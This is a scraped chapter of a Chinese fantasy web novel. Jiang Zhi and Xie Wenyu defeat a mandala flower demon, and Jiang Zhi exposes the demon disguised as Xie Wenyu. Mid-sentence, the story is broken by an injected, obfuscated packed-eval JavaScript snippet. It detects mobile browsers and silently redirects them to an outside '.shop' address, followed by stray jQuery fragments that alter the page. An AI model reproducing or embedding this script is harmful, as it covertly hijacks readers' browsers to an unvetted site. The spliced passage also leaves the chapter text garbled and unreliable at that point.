默认冷灰
24号文字
方正启体

8. 任务完成

作者:花栖渡本书字数:K更新时间:
    谢玟见她一直沉默不再说话,道:“怎么不说话?”


    “还没结束。”江知把包裹着玉佩的手帕解开,忍着灼热把玉佩贴在心口,以便自己能实时感受到玉佩热量的变化。“我们还没找到现实世界里的花妖。”


    话音落下,墙角漫出丝丝黑雾,地面里响起细碎的崩裂声,暗绿的藤蔓自砖缝间钻出,无声靠近两人。


    谢玟与正色起来,他靠在江知身后,那截枯枝横在胸前:“繁花,开!”


    几朵细小的花苞从剑柄处生长,接着缓缓盛开,随着谢玟与的动作落下粉白的花瓣。


    花瓣纷纷扬扬洒落,触到黑雾的刹那,雾气减淡。


    原来那把剑叫“繁花”。从谢玟拿出那把剑开始,江知就对这柄剑充满好奇——它在未注入真气时像路边随手捡到的一截树枝,注入真气后却繁花似锦、美不胜收。


    真的太美了!


    她忍不住开口询问:“谢玟与,你这把剑是哪来的?”


    谢玟与一手拿着繁花,另一只手指挥着花瓣飘落到越靠越近的藤蔓上:“好友所赠。”


    江知双手被红线缠满,随着她的一声低喝,指尖红线如蛇游出,缠上藤蔓、绞碎藤曼:“哪个好友啊?能否代我问问怎么才能得到一把这般漂亮的剑。”


    谢玟与沉默半晌,道:“我不记得了。”


    “什么?”


    “只记得是好友所赠,不记得那位好友的面容、声音、就连性别也忘记了。”


    “不想说就不说,你拿出这么一个烂理由糊弄谁呢?”江知十指翻飞,红线所过之处,黑雾驱散,“谁稀罕你的那把剑!”


    曼陀罗在现实里的法力远不如在幻境里强,才过半晌,府中一片清明。


    繁花的花朵消散,化成几粒细小的尘微,谢玟与握紧变回树枝的剑,递到江知面前,道:“你喜欢这把剑?我可以送你。”


    语气淡淡,她却听出了几番施舍的意味,胸中涌起一团火,激得自己一把把他手中的剑打落在地。


    “谁喜欢你的破剑,本小姐的法器比你这把剑好一千倍,不,一万倍!”


    她晃晃手,白皙的手掌在红线的对照下,愈发显得白得晃眼:“这是缚灵丝,上等法器!”


    又从荷包里掏出几枚铜板,道:“这可是开过光的铜钱,虽不如缚灵丝珍贵,但也算价值不菲,总之,比你的树枝要好得多!”


    “所以——本小姐不稀罕你的那把破剑!”


    谢玟与没有反驳,蹲下来把地上的繁花捡起:“这剑没有真气之时太过朴素,确实不太适合你。”


    “没错,配不上我!”说完打量起四周,奇怪的是,府中异常安静,要不是心口的那块玉还烫得厉害,她都要觉得这花妖已经被自己弄死了。


    曼陀罗花,主蛊惑人心,战斗力十分一般,更何况自己破除幻境一定也给它带来了不小的损伤。


    如若花妖现在出现在自己面前,江知可以保证自己将不费吹灰之力拿下它。


    但这花妖也不是个蠢的,刚刚放出一点法力试探她和谢玟与,确认了自己打不过就干脆藏起来。


    缚灵丝划过府中每个角落,没有异常,江知烦躁地抓了抓头:“藏哪去了藏哪去了?有什么好藏的,出来打一架不好吗?”


    “一出来就要被勾魂,只要是个有智商的东西,就不会出来的。”谢玟与在一旁冷眼旁观,“喊多大声都没用,要想办法逼它现身。”


    “那就逼她现身!”那几枚铜板还在手心里,江知五指收拢,破裂声自拳中传来。


    铜钱被捏碎成齑粉,抬手一扬,粉末漫天飞扬,无声无息地洒满整个方府。


    角落里传来一阵尖锐的嘶鸣声。花妖自阴影中踉跄现身,妖身在金粉的侵蚀下无处遁形。


    不是姚梦那张一股子魅气的脸,也不是在幻境里出现的植物化的那张,而是方莲的脸。


    花妖占据了方莲的身体,这就是她来到方府的目的。


    妖,体内存有妖气,妖气会渐渐腐蚀躯壳,躯壳会渐渐变得破烂不堪,最终无法使用。


    所以每个妖都会定时更换躯壳。


    于是花妖来到方府,引得方定远变心,并指导方夫人栽种下曼陀罗,然后再让方莲亲眼看见自己的阿娘杀死了她的阿爷。


    让她终日处于花香之下,在杀意与恨意下成长,成为自己亲手培养的、最适合容纳妖气的躯壳。


    江知想起方定远临终所言,那句自己是被蛊惑的犹在耳边。


    第二层幻境里,姚梦说自己破费了一番功夫,这番功夫究竟指的是方定远看中姚梦的美色而变心;还是姚梦使用妖力,控制了方定远,让别人误以为他变心了。


    答案不得而知。


    但可以肯定的是,花妖因为一己私欲,毁了小桃、方莲的人生。


    想起在小院中咬破手腕,流血而亡的小桃;想起本是最纯真的年纪,现在身体却被妖侵占的方莲,她心中怒气汹涌。


    无论是为了完成地府的任务,还是为了死去的小桃和方莲报仇,自己都绝不可能放过这个花妖。


    缚灵丝暴长而出,刺入花妖的心口。花妖浑身一震,方莲的人皮簌簌剥落,露出里面互相缠绕的藤。


    它嘶声尖叫,砖缝里原本的嫩芽剧烈生长,从地底涌出,疯狂抽打着四周,廊柱应声而碎,砖石横飞。


    荷包里剩余的铜钱全部飞出,在江知身边急速飞旋,冲着她来的藤蔓、砖石被尽数弹飞,叮当脆响不绝。


    她纹丝不动,五指缓缓收拢,缚灵丝在她指间越缠越紧,同样,刺入花妖心口的丝也越来越紧。


    花妖的挣扎渐弱,身躯开始寸寸崩裂。


    “不——”声音还没完全落下,整个妖身炸开,只剩下一小株半透明的曼陀罗花。


    是这花妖的魂魄。


    江知拿出谢必安之前给她的锁灵囊,将魂魄装入其中,冲着远处的谢玟与大喊:“还看什么呢?收工啦!”


    “这般厉害。”谢玟与笑得眉眼弯弯,“还好我没出手,要是帮了你岂不是又要哼哼道‘我自己也可以’?”


    江知没说话,谢玟与也不觉尴尬,他指着锁灵囊道:“给我吧。”


    江知点点头,把装着花妖的袋子递给他,谢玟与不知道的是,与锁灵囊一齐递来的还有一张黄色的符箓——这张符比江知荷包里的厉害,而且只有一张,被她珍藏起来,不与那些普通的放在一处。


    所以没在第二层幻境里为了阻止姚梦追上来顺手甩出。


    谢玟与刚刚摸到锁灵囊,符箓爆炸。


    他一只手被炸得皮肉翻卷,鲜血直流,再也使不上力气,无力得垂在一旁;另一只手捂住伤口,道:“你干什么?”


    还未被江知收回的缚灵丝再次暴长,将谢玟与缠绕起来,慢慢把他包成了一个红茧。


    做完这一切后缚灵丝才缓缓收回,安静地缠回指间,转瞬消失。


    她垂下手,看着被缚灵丝紧紧包裹的“谢玟与”:“你不觉得自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406097|200517||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己的伪装漏洞百出吗?”


    刚到方府时,谢玟与对她是淡淡的疏离,这才符合是正常人对刚见面、还不熟悉的搭档的正常反应。


    进入幻境之后就变了,谢玟与说自己担心她,埋怨她照顾不好自己,甚至还拿出帕子给她擦脸。


    这太亲密了,亲密得像是两情相悦的恋人。


    但两人并不是这种关系。


    一开始她以为谢玟与是生性风流,看到个貌美的姑娘都会这样做。


    本下定决心离他离得远远的,但看到繁花极美的那一剑后,还是忍不住开口询问。


    刚问出口她就后悔了。


    一柄剑对于习剑之人是何等重要,问他剑的出处,毫无疑问是一种非常冒犯的行为,一般人早该拔剑相向,再不济也要骂几句。


    可谢玟与既没有给她几剑,也没有骂她不知好歹,而是把繁花递给她,说自己可以送给她。


    绝对有问题!


    尤其是花妖变成飞灰之后,心口处的玉佩虽然变凉了一点,但总体而言还是烫的。


    杀花妖时,他全程摸鱼,到底是因为知道自己厉害所以才不出手,还是根本不舍得伤害自己的本体呢?


    “不过我还有一个问题想问你。”因为自己识破了花妖的伪装,“谢玟与”的光洁面庞上出现几个窟窿,露出底下方莲稚嫩又带有几分诡异的脸。“在第二层幻境里面,你为什么要帮我?”


    “就算我不出手,你难道就走不出这层幻境了吗?你那烧血之术可伤了我不少元气,再来一次,我会直接被你烧死,根本没命开第三层幻境。”浑厚的、尖细的、稚嫩的三种音色混在一起,让人听不真切。


    “我自己出手破开幻境,不仅可以保证对自己的伤害降到最小,还能收获你的信任,何乐而不为呢?”


    红茧收紧,花妖感觉自己的生命力正在渐渐流失,满身妖气从身上的窟窿处溜走。


    他的视线一直没有离开江知:“你说我的伪装漏洞百出,是为什么?”


    自己战斗力并不算强,能活到现在靠的就是玩弄人心的本事。


    他做的每一个决定都是完全符合谢玟与的性格,不会出一点差错,怎么可能会被发现?


    江知:“这是我们第一次见面。”


    花妖大笑起来,三种不同的音色叠在一起:“你说你们是第一次见面?不……就算他……但……”


    花妖的话还没有说完,红茧收紧,缚灵丝勒进皮肉,骨骼挤压得咯吱作响,这种疼痛让它再也说不出半个字,只能从喉间溢出痛苦的闷哼。


    骨骼碎裂,血肉被挤压到极限,茧安静下来,里面只余一株半透明的曼陀罗花。


    把红茧里的另外一缕半透明魂魄放入锁灵囊后,真正的谢玟与出现在眼前。


    他紧闭双眼,眉头皱着,嘴巴抿起,看上去陷入了一场苦战里。


    江知本想用几粒清心丸唤醒他,摸到空空如也的荷包才想起清心丸早在第二层幻境里就不翼而飞了。


    只能让他受点苦了。


    这样想着,江知从头上拔下簪子,然后刺进正在昏迷的谢玟与的肩膀。


    尖锐的疼痛自肩上传来,深陷梦魇的谢玟与被疼痛唤醒。


    他看看自己汩汩冒血的肩膀,又看看江知手上尾部明显血红一片的簪子,疑惑道:“发生什么了?”


    江知拿起他的衣服下摆,擦干净血迹之后才戴回头上,冷哼一声:“你好菜。”


    语气说不出的嫌弃。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)